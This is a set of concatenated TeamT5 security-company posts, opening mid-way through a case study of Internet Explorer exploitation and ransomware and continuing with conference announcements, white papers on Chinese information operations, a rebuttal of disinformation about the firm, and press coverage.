我們進一步探討網站轉址狀況可以發現，攻擊者會利用免費資源網站來吸引使用者瀏覽，同時利用一透明框架覆蓋於網站上，讓使用者點擊，進而達成轉址目的。

![IE_11.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073490/IE_11_080a2e35e5.png)

 

轉跳後的網站如下圖：

 

![IE_12.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073490/IE_12_9549f3a339.png)

 

雖然該網站並不會植入勒索軟體，但會使用 CVE-2019-1367 弱點來植入其他的後門，另外，雖然在 IE11、IE10 和 IE9 使用 Jscript9.dll，並不受 CVE-2019-1367 漏洞的影響，但可以強制 IE 使用 IE8 兼容模式，來達成漏洞的觸發。

![IE_13.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073490/IE_13_9dff2ee47b.png)

![IE_14.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073491/IE_14_247f61ede7.png)


## 結論
上述案例皆為採證 IE 的連線紀錄後所發現，攻擊者透過 IE 瀏覽器的漏洞來達到攻擊目的，包含勒索或者植入其他後門程式。攻擊者透過這些弱點進行記憶體操作的攻擊，可以有效實踐無檔案式（Fileless）攻擊，以利規避一些資安產品偵測的可能性。

微軟官方也預計於 2022 年 6 月 25 日，徹底終止支援 IE 瀏覽器，接下來我們也可以預期，若 IE 將來仍被發現存在重大弱點時，攻擊者可能會依循類似手法，大量進行攻擊、勒索，以達到其商業利益。

## 建議
- 建議將系統安全性更新至最新版本
- 建議評估汰換已停止更新的作業系統與軟體
- 非必要不使用 IE 瀏覽器

## 參考資料
[1] https://asec.ahnlab.com/en/19273/

[2] https://asec.ahnlab.com/en/21189/

「勒」此不疲，IE 真調皮

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cybersec 2021

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*Image courtesy of CODE BLUE from https://codeblue.jp/2020/en/

CODE BLUE 2020 is held online for two days on October 29th and 30th due to the COVID-19 pandemic. And TeamT5 is thrilled to be sponsoring and participating in this top-class information security conference in Japan.
 
We are very honored to attend this virtual event this year, and our cyber threat analysts and malware researchers are going to talk at CODE BLUE 2020. We also organize a workshop together with our partner, Terilogy Worx Corporation. Join us and don't miss out on this fantastic event!

Here is an overview of our speech and workshop.

### Speech

- **Law & Policy | Dissecting China’s Information Operations with Threat Intelligence**

Our cyberthreat analysts Che Chang and Silvia Yeh will share their findings on China’s Information Operations on social media platforms.

![twitter_talk1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_talk1_0dcc012fee.png)

 

- **CyberCrime | Operation I am Tom: How APT Actors Move Laterally in Corporate Networks**

Our CTO Charles Li and malware researcher Aragorn Tseng will present lateral movement methods to penetrate corporate network environments and techniques to bypass security monitoring systems.

![twitter_talk2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_talk2_96b51874a6.png)

 
 
- **Open Talk | Cyber Cold War and Tensions – The Critical Infrastructures Are Under Attack**

Our CEO, Sung-ting Tsai (TT), will share the experience we have learned from the security incidents in Taiwan, especially for the attacks targeting critical infrastructures.

![twitter_open-talk](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_open-talk_855b5d4b4b.png)

 

### Workshop: APT Malware Analysis 101

TeamT5 and our partner, Terilogy Worx Corporation, co-host a virtual workshop on CODE BLUE 2020. Our Lab Engine and Global Support team will demonstrate basic techniques of reverse-engineering malware with our threat hunting tool - ThreatSonar. This workshop is available in English and Japanese (consecutive interpretation).

![twitter_worksop](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_worksop_fb1cf3480a.png)

- **Speakers**
 - TeamT5 Lab Engine & Global Support
 - Terilogy Worx Corporation, Director, Business development, Yoichi Matsuura

- **Abstract**

This workshop will teach you about the basic technique of reverse-engineering malware, and how to analyze it according to OSINT. We will focus on two of the most dangerous malware this year: BigPooh (LODEINFO) and LNCookie (TSCookie Linux version) based on both Linux and Windows OS. You will learn a lot of practical concepts when analyzing APT malware. Furthermore, we will also show you how to proceed with analysis and threat hunting by using our simple/light-weight tool - ThreatSonar.

- **Location**: via Google Meet. Registration form on CODE BLUE [EventHub](https://client.eventhub.jp/ticket/tZ8hp0-Qk).

![register2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603770757/register2_ef67e87cf1.png)
_Registration Guide for TeamT5 Workshop_

 

### What’s CODE BLUE?

CODE BLUE is Japan’s largest international information security conference, which aims to contribute to a better Internet world by connecting people through CODE (technology), beyond and across the BLUE (oceans). Every year, the world’s top-class specialists and researchers gather together to share their latest findings and give cutting-edge talks. It is a place for all participants to exchange information and collaborate to respond to and solve information security problems.

More information on CODE BLUE 2020 [Official Website](https://codeblue.jp/2020/en/).

TeamT5 Exhibits at "CODE BLUE 2020" Virtual Event

*Image courtesy of CODE BLUE from https://codeblue.jp/2020/en/

今年のCODE BLUEは10月29日、30日の両日、COVID-19の影響によりオンラインで開催されます。Team T5は、日本でトップクラスのこのセキュリティカンファレンスにスポンサーとして参加できることを非常にうれしく思います。

私たちはこのバーチャルイベントに参加し、また、我々のサイバー脅威分析官やマルウェア分析官がCODE BLUE 2020のスピーカーとして登壇できることを誇りに感じております。 

ここで、CODE BLUE 2020で私たちが予定しているイベントについてご紹介しましょう。

### スピーチ

- **法とポリシー：「脅威インテリジェンスによる中国の情報操作の分析」**

私たちのサイバー脅威分析官であるチェ・チャンとシルビア・イェが、中国のソーシャルメディアプラットフォームにおける情報操作についてご説明します。

![twitter_talk1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_talk1_0dcc012fee.png)

 

- **サイバー犯罪：「Operation I am Tom：企業ネットワークにおいてAPTアクターがその内部で移動する方法」**

Team T5のCTOであるチャールズ・リーとマルウェア分析官のアラゴルン・ツェンから、企業ネットワークにおけるラテラルムーブメントの手法とセキュリティモニタリングシステムのバイパス手法についてご説明します。

![twitter_talk2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_talk2_96b51874a6.png)

 
 
- **オープントーク：「サイバー冷戦と緊張 ― クリティカルインフラストラクチャは攻撃されている」**

Team T5のCEOであるSung-ting Tsai(TT)が、私たちが実際に台湾で経験したセキュリティインシデントから学んだ経験から、とくにクリティカルインフラストラクチャを目標にした攻撃に関してお話しします。

![twitter_open-talk](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_open-talk_855b5d4b4b.png)

 

### ワークショップ：APTマルウェア分析入門

TeamT5のLab Engine & Global Supportチームとパートナーのテリロジーワークスによる、ワークショップです。脅威ハンティングツールである「ThreatSonar」を用いたマルウェアのリバースエンジニアリングのための基本テクニックを、日英両言語で説明します。

![twitter_worksop](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603765617/twitter_worksop_fb1cf3480a.png)

- **スピーカー**
 - TeamT5 Lab Engine & Global Support
 - 株式会社テリロジーワークス　ディレクター　ビジネス開発担当 松浦　洋一

- **要約**

このワークショップではマルウェアのリバースエンジニアリングに必要な基礎テクニックとＯＳＩＮＴを用いた分析方法について説明します。今回はLinuxおよびWindows環境の2つの最も危険度の高いマルウェア「BigPooh(LODEINFO)」と「LNCookie(TSCookie Linux version)」に注目して分析を行いますので、APTマルウェアの解析に必要な多くの実践的なコンセプトを学ぶことができます。また、分析と脅威ハンティングに最適な弊社ツール「ThreatSonar」を用いた手法についてもお話しします。

 

- **開催はCODE BLUE [EventHub](https://client.eventhub.jp/ticket/tZ8hp0-Qk)が提供するGoogleMeetで行います。**

![workshop_jp instruction](https://res.cloudinary.com/dvgomg5gh/image/upload/v1603935671/workshop_jp_instruction_653442301b.png)

 

### CODE BLUEとは？

CODE BLUEは日本で最大級の情報セキュリティカンファレンスであり、CODE(技術)を通じて人々を結び、BLUE(海原)を超えて集うことにより、より良いインターネット世界に貢献することを目的としています。毎年世界中からトップクラスのスペシャリストやリサーチャーが最新の発見や最先端の話題を持ち寄って集まっています。ここはすべての参加者にとって、様々なセキュリティ問題に関して情報交換し、協力しながら対応、解決していくための場なのです。

さらに詳しい情報はCODE BLUE 2020オフィシャルサイトへどうぞ。

https://codeblue.jp/2020/en/

TeamT5 は“CODE BLUE 2020”オンラインイベントに登壇します

*Image courtesy of [CODE BLUE](https://codeblue.jp/2021/en/).
 
The largest information security conference in Japan, CODE BLUE 2021, will be held in hybrid style in Tokyo, both virtual and on-site, on October 19th and 20th. During the COVID-19 pandemic, cybersecurity matters more than ever. As a Taiwan-based cybersecurity company dedicated to combating cyber threats, TeamT5 is proud to support, sponsor and participate in this top international cybersecurity event in Asia.
 
This year, we will be giving workshops on topics of cyber threat intelligence, threat hunting, and ransomware protection. Join us for the exclusive workshops at CODE BLUE 2021 and enjoy an active interchange of ideas with us! (*Note: TeamT5 workshops are all by registration.)
 
Moreover, our cyber threat analysts Che Chang and Silvia Yeh will again be presenting at Law & Policy track, sharing their latest study on Chinese InfoOps at this year’s virtual conference.
 
See below for highlights of our events at CODE BLUE 2021.

## Speech

- **Law & Policy | Clip Addiction: A Study of Video-Based Chinese InfoOps with Threat Intelligence**

China’s Information Operations (InfoOps) continue to proliferate in cyberspace. TeamT5 cyber threat analysts Che Chang and Silvia Yeh will present their research on China’s video-based InfoOps across social media platforms.

![infoops_twitter.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1633513235/infoops_twitter_d624cf406f.png)

 

## TeamT5 Workshop

This year, TeamT5 and our partners, Macnica and Terilogy Worx Corporation, co-host a series of virtual workshops at CODE BLUE 2021. Our CEO Sung-ting Tsai (TT) and Cyber Threat Intelligence team will discuss topics on ransomware prevention and our research on APT attacks in Japan. Come join us!

### Workshop I: Strategy Overview of Ransomware Defense

Ransomware has become one of the top cyber security risks that could not be ignored by C-level executives. The threat actors are savvy and their attack techniques keep evolving. TeamT5 observes significant incidents keep happening and their impact is huge.

In this workshop, we will introduce what makes ransomware so difficult to defend, and as defenders, how to develop your defense plan. Through the real case studies dissecting ransomware attack techniques and procedures, we will discuss countermeasures for each attack phase and show you how to combat ransomware threats at the earliest stage.

- **Location**: via Microsoft Teams.

![ransom_twitter.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1633513234/ransom_twitter_7bfbb0912e.png)

 

### Workshop II: APT Attacks in Japan

In this workshop, TeamT5 cyber threat researcher will cover the latest attack methods adopted by Chinese APT groups, and illustrate possible threats Japan may face.
 
Furthermore, we will show you how TeamT5’s threat intelligence platform, ThreatVision, can help you forecast threat risks and deploy cybersecurity defense in advance.
 
Our partner, Macnica, will also present recent threat research on Japan. This workshop will provide you with a full landscape of the threat intelligence trends in Japan and how you can avoid their attacks by effectively applying threat intelligence to your business.

- **Location**: via Microsoft Teams.

![apt_twitter.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634010832/apt_twitter_9fd752e842.png)


 

### What is CODE BLUE?

CODE BLUE is Japan's largest international information security conference, which aims to contribute to a better Internet world by connecting people through CODE (technology), beyond and across the BLUE (oceans). Every year, the world's top-class specialists and researchers gather together to share their latest findings and give cutting-edge talks. It is a place for all participants to exchange information and collaborate to respond to and solve information security problems.
 
More information on CODE BLUE 2021 [Official Website](https://codeblue.jp/2021/en/).

【TeamT5 x CODE BLUE 2021】Because Security Matters

In the final part of our Information Operation White Paper, we will demonstrate China's Information Operations (InfoOps) targeting the global audience. The first part of the report displays a brief overview of its overt operations which are carried out by state media, embassies, and diplomats. Then we look into the covert operations, which can be observed in pro-China fan pages, content farms, and spam botnet. Last but not least, we provide the case study of "Operation Juiker" on Taiwan's largest forum PTT, which suggests the possibility of the APT (Advanced Persistent Threat) actors entering the threat landscape.

#### Key Takeaways

1. China has escalated the level of overt InfoOps via state-media and diplomats.
 
 
Chinese state media, diplomats, and embassies are the main actors of Chinese overt InfoOps. They shoulder the task to polish the image of the regime and propagate the narrative of the Chinese Communist Party (CCP). It is noteworthy that their official accounts have obtained an unexpected number of followers in recent years. For instance, four Chinese state media are included in the top 20 most-followed pages on Facebook. Their main audience, apart from the Chinese citizens, are overseas Chinese diaspora, which many of them have rights to vote in countries such as the U.S., Canada, and Australia, thus having the ability to influence a country's politics.
 
 
2. Covert InfoOps remain active on Western social media platforms.
 
 
2020 is a year which has set many records. This year, the takedowns of covert Chinese social media accounts by Facebook, Twitter, and Google are more frequent than ever. However, even with such efforts, we observed that there are new covert actors emerging across the platforms, while the banned actors keep coming back to the scene by registering new domains and new accounts. We spotted that there is a huge number of Facebook pages with admins located in China dedicated to disseminating Chinese propaganda content originated from Chinese social media platform, Weibo. Besides, there are sophisticated actors that create websites and subtle content to help the Chinese government shaping the narrative for the Hong Kong protest. We also detected numerous networks of pro-China political accounts that demonstrated strong signs of automated behavior.
 
 
3. APT actors might have entered the InfoOps threat landscape.
 
 
The situation is become more alarming as we discovered that the Advanced Persistent Threat (APT) actors might have entered the InfoOps threat landscape. APT actors, typically a state-sponsored group, usually conduct prolonged and targeted cyberattacks to mine highly sensitive data. However, in mid-2020, we identified an InfoOp that can be linked to a notorious Chinese APT group which TeamT5 intelligence team has tracked for years. We discovered that the threat actors had disseminated disinformation about "Juiker," a messaging app developed by Taiwan's research institute and widely used by government units, on Taiwan's largest forum PTT. The operation, which we dub as "Operation Juiker," aimed to discredit Taiwan's intelligence agency and government-backed research institute by spreading disinformation of the messaging app being hacked.
 
 
4. It is more crucial than ever to adopt threat intelligence solutions to combat the issue.
 
 
The abovementioned Operation Juiker has well demonstrated the possibility of "APT + InfoOp" attack model, which involves targeted social media campaigns disseminating disinformation based on highly confidential data. Such situation is super tricky, and it could pose a great threat to democratic countries. In this case, threat intelligence can help provide instant analysis of actor methodologies, suspicious indicators, and potential risks. We suggest that it is crucial for government units, critical infrastructure operators, and major business vendors to apply threat intelligence to combat this issue.
 
 

If you are interested in this white paper, please fill out the form below and get the full-text PDF.
 
 
And don't miss our blog updates! Follow us on [Twitter](https://twitter.com/TeamT5_Official).

InfoOp White Paper III: China’s Social Manipulation outside the Great Firewall

在 TeamT5〈資訊戰白皮書〉的最後一部曲中，我們將呈現中國的資訊作戰（Information Operation）是如何瞄準全球社群媒體使用者。TeamT5 希望透過這系列白皮書，分享我們作為資安研究員，如何理解中國的社群操弄。

此份白皮書的前兩個章節，介紹中國檯面上與檯面下的行動。首先觀察中國在檯面上（overt operation）如何透過中國的官媒、大使館、外交官，在社群媒體創造自己的聲量。接著分析中國檯面下的行動（covert operation），進一步研究那些無法被輕易歸因的粉絲頁、內容農場與大量的僵屍帳號。最後一章將以 PTT 論壇上關於 Juiker 的假新聞攻擊為例，提出資訊戰當中，我們最擔心的 —— 由「進階持續性滲透威脅」（APT）發起的假新聞攻擊。

 
#### 報告摘要

1. 中國持續透過官媒與外交官進行檯面上的社群操弄
 
 
中國的官媒、外交官、大使館是中國檯面上的主要行動者。這些行動者負責美化中國外在形象，以及散播對中國執政黨有利的論述。根據我們的觀察，這些帳號在西方社群媒體中都擁有大量的追蹤者，Facebook 粉絲頁中，追蹤數排名世界前 20 名的新聞媒體，第一名到第四名就是由中國官媒粉絲頁 CGTN、China Daily、People's Daily、Xinhua News 包辦。中國檯面上的社群操弄，主要針對位在美國、加拿大、澳洲等英語系國家的海外華人，並透過他們對當地的政治進行一定影響。
 
 
2. 檯面下的社群操弄持續在西方主流社群平台出沒
 
 
2020 年，西方主流社群平台 Facebook、Twitter、Google 等，都曾數次移除各自平台上與中國有關的假帳號。儘管平台方已如此頻繁地掃蕩，許多隱匿的行動者仍然在各大平台上出沒，那些曾遭移除的帳號背後，有行動者持續透過註冊新網域和帳號捲土重來。我們不斷觀察到許多可疑帳號，例如許多擁有中國管理員的粉絲頁，會搬運微博上的政治宣傳。更有甚者，我們發現許多配備精良的攻擊者，會自己架設網站和疑似是自動化產生的僵屍帳號，來協助中國政府攻擊香港抗爭者。
 
 
3. APT 攻擊者很可能參與了社群媒體上的資訊戰
 
 
我們擔心 APT 攻擊者很可能參與了社群媒體上的資訊戰。APT 通常是由一個國家所支持的駭客團體，以竊取機敏資料為主，APT 的攻擊者往往具備了強悍的網路攻擊手法與資源。然而，我們今年偵察到了一個可能是由 APT 攻擊者發動的假新聞攻擊。該事件發生在 2020 年七月，PTT 論壇八卦版上，開始有許多被盜用的帳號以假新聞攻擊台灣重要軍事單位，造謠台灣公務機關使用的 Juiker 通訊軟體遭駭，以及台灣重要軍事機關遭駭。我們透過搜索比對貼文與發文 IP，發現其中一個 IP 位址，符合某個中國 APT 曾經使用過的中繼站。
 
 
4. 威脅情資作為對抗資訊戰的重要環節
 
 
如同前述的分析脈絡，APT 與社群操弄的結合會讓防守方更加棘手。在棘手的防守環境中，唯有威脅情資（threat intelligence）可以提供即時的分析，評估攻擊者的攻擊手法、可疑的指標、以及造成的風險。而在快速更迭的社群媒體環境中，平台方與事實查核團體非常難找到證據，歸因大量散播的假新聞。我們認為唯有導入威脅情資，才能有效幫助政府單位、重要關鍵基礎設施與企業，對抗資訊戰。
 
 

若您對我們的白皮書有興趣，請填寫以下表單，取得完整的研究報告。
 
 
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資訊戰白皮書三部曲：中國的社群操弄

To confront the emerging threat of China's Information Operation, TeamT5 threat intelligence team publishes this White Paper covering how China conduct information manipulation across Chinese social media platforms. From the 2019 Hong Kong Protest to the 2020 COVID-19 pandemic, China has demonstrated the art of surveillance, censorship, and most importantly, digital propaganda.

In this white paper, we focus on China's digital propaganda inside the Great Firewall. We suggest that the regime has developed a unique, organizational, and sophisticated propaganda mechanism, which we dub as "digital propaganda formula." With this formula, the Chinese Communist Party (CCP) has managed to transform all the Chinese social media platforms inside the Great Firewall into an almost total pro-CCP environment.

#### Key Takeaways

1. CCP has strengthened its control over Chinese cyberspace by establishing legislations as well as centralizing administrations, and the "last mile" of its cyber governance is to control public opinion through censorship and digital propaganda.

2. We dub China's sophisticated propaganda mechanism the "digital propaganda formula," which consists of state media, communist youth league, governmental affairs new media, as well as trolling factory.

3. Moreover, CCP's policies have bolstered the industry of "public opinion guidance" in China. The industry practitioners have developed AI and big data-powered systems to help the government to collect, store, and analyze public sentiment.

4. China's formula has polluted the online information environment inside the Great Firewall. We assess that the CCP is trying to project its digital propaganda dominance to foreign social media platforms in order to control the world's discourse power. 

Following the global pandemic, the world relies on the internet more than ever. Cyber threat actors and influence operators, either state-backed or money driven, are taking the advantage to conduct information operation. TeamT5 threat intelligence team aims to deliver actionable intelligence and penetrating analytics and contribute to the safeguarding of cyberspace.

If you are interested in this white paper, please fill out the form below and get the full-text PDF.

 

**COMING UP NEXT**

In Part 3 of our Information Operation White Paper, we will focus on the external propaganda of the CCP. We will provide an overview of the current status and impact of Chinese propaganda machine and information operation on Western social media platforms, such as Facebook, Twitter, and YouTube.

If you don't want to miss our next report, follow us on [Twitter](https://twitter.com/TeamT5_Official).

TeamT5 Information Operation White Paper (Part 2 of 3): China’s Digital Propaganda Formula inside the Great Firewall

面對中國日趨積極、強烈的資訊操弄（Social Manipulation），TeamT5情資團隊以資訊安全研究員的視角，推出最新的〈資訊戰白皮書二部曲〉（Information Operation White Paper），進一步分析中國在「防火長城」（Great Firewall）內，如何透過社群媒體進行數位政治宣傳（Digital Propaganda）。

除了廣為人知的言論審查制度，中國在防火長城內的資訊操弄，更包含主動的數位政治宣傳。從2019年香港反送中抗爭事件，到2020年的新冠肺炎疫情，我們可以清楚看到中國越來越「爐火純青」的數位政治宣傳實力。防火長城內對社群媒體的操控，神秘、難以探知，中國更設法將牆內轉化成中國共產黨的「一言堂」，阻止了理性政治討論的可能性。

在〈資訊戰白皮書二部曲〉中，我們聚焦於：

1.	近年來，中國藉由大量的網路相關立法與集中整併政府資源，強化網路控制。而控制公眾言論的數位政治宣傳，就是中國網路治理的「最後一哩路」。

2.	我們認為中國的數位政治宣傳機制，依循著一個極為有效的「配方」（Digital Propaganda Formula），由四個要素組成：官方媒體、共青團、政務新媒體，以及中國的水軍大隊。

3.	在中國政府資源帶領下，「輿情引導產業」興起，提供人工智慧與大數據工具，替政府收集、儲存、進而分析網路民意。

4.	我們認為，中國藉著其政治宣傳配方來穩定牆內的網路生態，而下一步，就是要將自身在西方社群媒體的影響力，擴張到國外，競逐世界話語權。

在疫情之後，網路世界成為新常態（new normal）不可或缺的一部分。但於此同時，也讓網路威脅，不論是傳統駭客行動者或是社群媒體操弄者（influence operators），有更多機會發動攻擊。TeamT5情資團隊致力於傳遞有用的情資與協助決策的分析報告，希望對提升網路安全盡一份心力。

若您對我們的白皮書有興趣，請填寫以下表單，取得完整的研究報告。

 

**下期預告**

在接下來的〈資訊戰白皮書三部曲〉中，我們將討論中國對外的政治宣傳，看中國政治宣傳機器的現況與其影響，以及中國在西方社群媒體平台上的資訊作戰。

不想錯過我們接下來發布的報告，請追蹤我們的 [Twitter](https://twitter.com/TeamT5_Official)。

TeamT5〈資訊戰白皮書二部曲：中國防火長城內的數位政治宣傳〉

The ubiquity of social media has altered the way people consume information, which in turn dramatically changed the way electoral campaigns are run. From the 2018 municipal elections to the 2020 general elections, Taiwan has witnessed the growing threat of disinformation to the citizens. It was observed that many malicious actors utilized social media to disseminate a huge amount of fake news, false information, and hate speech. These disinformation are like highly contagious viruses that will not only affect the people consuming them, but also make them secondary disseminators. We assess that:

1. Virus-like disinformation makes everyone on social media both victim and disseminator

   Although public discussion is the cornerstone of a good democratic society, many attacks have used voter enthusiasm to spread on social media. We have observed that many of the voters who participated in the discussion turned out to be the source of dissemination.
2. Disinformation continues to evolve in tactics and quantity, as well as expanding its targets

   The Taiwanese Central Election Commission (CEC) stated that the number of disinformation cases before the 2020 elections reached an unprecedented level. In addition to the evolution in quantity and tactics, we observed that the dissemination of disinformation did not stop even after the election, but instead shifted the target.
3. China continues to increase its influence

   Apart from news agency promoting the Chinese policies, inauthentic accounts run by bot, and patriotic netizens (A.K.A little pink), China has stepped up its influence on social media platforms to shape narratives.
4. Information operations are outsourced, layer-by-layer

   Before the elections, a number of marketing firms and new media were established to spread political messages. We discovered that some of them have connections with certain political parties, implying the layer-by-layer outsourcing of Information Operations by politically motivated actors.

From the perspective of security researchers, we integrated the Information Operations intercepted and investigated by TeamT5 over the past two years, hoping to contribute to the next democratic election.

If you are interested in this white paper, please fill out the form, and we will send you the report by email.

COMING UP NEXT: We will publish reports about how China conduct Information Operation on social media platforms, targeting domestic citizens and foreign audiences. If you don't want to miss our next report, follow us on [Twitter](https://twitter.com/TeamT5_Official).

TeamT5 Information Operation White Paper: Observations on 2020 Taiwanese General Elections

社群媒體的普及改變了人們吸收資訊的方式，衝擊了原有的選戰型態。2018到2020年，台灣面臨了新形態的選戰威脅，攻擊者利用社群媒體散播大量的假新聞、不實資訊、仇恨言論。這些攻擊就像高傳染力的病毒不僅會觸及所有社群媒體使用者，更會讓他們感染後進一步成為潛在的假消息散播源。

TeamT5 的 Observations on 2020 Taiwanese General Elections 認為：

1. 假新聞讓各政黨支持者成為可能的散播源

   假新聞攻擊會利用選民對政治的熱情，使參與討論的選民反而成為散播的節點。
2. 假新聞的手法與目標持續地改變

   中選會認為這次選前的假新聞攻擊達到以往不曾有的數量。而除了數量與手法的不同，在選舉過後，相關攻擊並沒有停止，反而轉移了目標。
3. 中國持續加大自己的影響力

   從對台機構的新聞網站到各類假帳號、機器人與自發的小粉紅，中國試圖將影響力延伸到台灣的社群媒體。
4. 假新聞的攻擊行動被層層外包

   在選舉期間大量的行銷公司與新興媒體成立並散播特定政治訊息，讓真正的攻擊者可以輕易地隱藏於之後。

我們以資安研究員的角度出發，整合過去兩年間 TeamT5 拆解過的選舉假新聞攻擊事件，希望能替下一場民主選舉貢獻心力。

若對本份白皮書有興趣，請填寫表單，我們會以電子郵件的方式寄送。 TeamT5 接下來還會解析中國如何對內與對外利用社群媒體進行資訊的操弄。不想錯過我們接下來發布的報告，請追蹤我們的[Twitter](https://twitter.com/TeamT5_Official)。


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正值中秋連假之際，某特定內容農場開始散播關於 TeamT5 的謠言。該謠言以日文撰寫，其內容指稱TeamT5 對日本政府與各大日本企業進行釣魚攻擊並大量收集個人資訊云云。

TeamT5 在此嚴正聲明，前開網路謠言絶非事實，TeamT5 從未從事任何網路攻擊的行動，更不會接受任何客戶委託進行網路攻擊之行為。

TeamT5 追查後發現，該造謠者係利用內容農場商業模式讓該不實內容於中文和日文的內容農場偕同轉發。但該內容不僅偽造釣魚信件的截圖，其內更有大量日文文法錯誤與錯字，還有許多中文詞彙假冒在其中，種種跡象均顯示該謠言撰稿者係偽冒成日文母語人士撰寫日文新聞稿。

初步分析後，TeamT5 情資團隊認為這起謠言的手法符合我們過往研究的國家級駭客散播不實新聞的戰術、技術和流程（Tactics, Techniques, and Procedures, TTPs）。目前 TeamT5 已將相關分析與證據備份，並已通報請台日雙邊的調查單位協助偵查。

謹再次重申，TeamT5 自創立以來，協助所有的客戶與夥伴阻擋各類網路威脅。我們過去、現在以及未來都不會主動發起或接受委託從事任何網路攻擊活動。

> Contact: <PR@teamt5.org>

TeamT5 杜浦數位安全針對假新聞攻擊之澄清

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TeamT5 found one content farm published a disinformation article accusing TeamT5 of conducting phishing attacks against the Japanese government and Japanese tech companies. The actor abused the mechanism of the content farm business for spreading baseless evidence to discredit TeamT5 and the Taiwanese government.

In this clarification, TeamT5 declares that the above-mentioned disinformation are by no means true. TeamT5 has never engaged in any cyber-attacks, and will not accept any commissions to conduct cyber-attacks.

This disinformation attack is in line with the tactics, techniques, and procedures (TTPs) of state-sponsored information operation that has been observed closely by us. The article is highly possible to be written by non-native Japanese speakers due to the multiple grammar mistakes and many Chinese characters. TeamT5 has shared all the above information with the law enforcement in both Taiwan and Japan. The further detail of this attack is now under investigation.

Since the start of TeamT5, we have been helping our clients and partners to defend against all kinds of cyberattacks. We do not and will never use our resources and products to conduct any cyberattacks. If you require further information, please contact <pr@teamt5.org>.

Clarification on Malicious Disinformation Targeting TeamT5

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TeamT5（以下、当社）は、ある特定のコンテンツファームが、当社が日本政府及び日本国内のIT企業に対してフィッシング攻撃を行い、個人情報を大量に収集しているとの事実に反する偽情報を流布していることを発見いたしました。該当の偽情報は、コンテンツファーム・ビジネスの仕組みを熟知し、悪用する行為者によって、当社および台湾政府の名誉もしくは信用を毀損することを目的に配布されたものです。

本声明を通じて、当社は、該当記事によって流布された内容が事実無根のものであり、一切事実ではないことをお伝えいたします。当社はこれまでいかなるサイバー攻撃にも関与したことはなく、また、第三者からサイバー攻撃の依頼を請け負ったこともありません。

今回のディスインフォメーション攻撃は、当社がこれまで観測してきた国家主導の情報工作の戦術、技術、手順（TTPs）と合致するものです。この記事には複数の文法上の誤りや中国語（簡体字）の利用などが確認できることから、日本語を母語としない筆者によって記述された可能性が高く、日本人になりすまして投稿されたものと考えられます。当社は、事態の全容解明に向け、すべての情報を台湾及び日本の法執行機関に提供し、引き続き調査を進めております。

創業以来、当社は、あらゆる種類のサイバー攻撃からクライアントの皆様やパートナー各社様の安全確保に貢献し、セキュリティ対策強化の一助となるよう努めてまいりました。当社が、当社の製品及びリソースを用いてサイバー攻撃を実施、或いは請け負ったことはなく、今後もありません。

本件に関するご質問等につきましては次のメールアドレス（<pr@teamt5.org>）までお問い合わせくださいますようお願い申し上げます。

当社に関する偽情報の流布及び誹謗中傷への対応について

文／黃彥棻 | 圖片來源：[Freepik](https://www.freepik.com)

日本內容農場網站在中秋連假前夕，先在日本境內分享中國內容農場不實消息，指控臺灣政府教唆專精 APT 與假新聞研究的臺灣資安公司 TeamT5，以網路釣魚手法，非法蒐集日本民眾個資，相關資訊也在日本社交媒體以及臺灣臉書粉專持續傳播。稍有不慎，可能將單純的假新聞操弄事件升級為影響臺日政府友好的國安事件。

[點此閱讀完整報導](https://www.ithome.com.tw/news/146834)

【iThome】中國認知作戰新手法！鎖定臺灣資安公司製造假新聞，挑撥臺日政府關係

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TeamT5 杜浦數位安全榮獲科技部「科技大擂台二：AI攻防戰決賽」競賽肯定，奪冠獲五百萬元創新企業鼓勵，致力於全球資安威脅情資的研究，分析攻擊者來源及攻擊行為，客戶來自於全球各地，包含台灣政府單位，執行長蔡松廷是白帽駭客圈赫赫有名人物，攜手國家一起培育台灣未來資安人才。

[點此閱讀完整報導](http://www.ecf.com.tw/tw/article/show.aspx?num=5724&kind=77)

【卓越雜誌 411期】TeamT5 杜浦數位安全 領航全球市場

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資訊安全要從自我防疫做起。杜浦數位安全（TeamT5）執行長蔡松廷說，所謂自我防疫指的是透過專業資服業者提供報告，以其報告針對弱點加強，非等受到駭客攻擊才補強外，可避免導入不符需求的資安產品。

蔡松廷表示，該公司於 2017 年成立，但在 2014 年團隊即投入資安研究報告服務，當時政府及企業對此資安服務接受度低，反觀日本企業能接受，因此初期以日本市場為主。近年在資安等同國安的政府施政方針，杜浦數位安全提供的報告服務受到重視，多個政府單位均是合作夥伴外，目前杜浦數位安全還串起自有外部產品，強化使用方從預防再到解決問題的能力。

[點此閱讀完整報導](https://money.udn.com/money/story/5640/5131532)

【經濟日報】杜浦數位安全：做好自我防疫 企業資安築高牆

本資料轉載自 [CIO IT 經理人](https://www.cio.com.tw/) | 採訪／施鑫澤・文／林裕洋

## ThreatSonar 搭配 ThreatVision 雙劍合璧

> 勒索軟體與 APT 攻擊手法非常類似，企業唯有全面性解決，並在防堵威脅時同步擬定執行策略，才能讓人員更有效進行處理。

 

根據 TeamT5 杜浦數位安全威脅情資研究團隊觀察，REvil 駭客組織從去年（2020）開始所進行的一連串國內外資安重大威脅事件的動作來看，透過加密勒索軟體的攻擊手法是全球所關注且警覺到此狀況不容小覷。從今年上半年累計統計至七月份遭受 REvil 勒索軟體攻擊的受害對象浮出檯面上的至少有五、六起事件發生，對於尚未浮出台面的受害事件還不知道有多少。

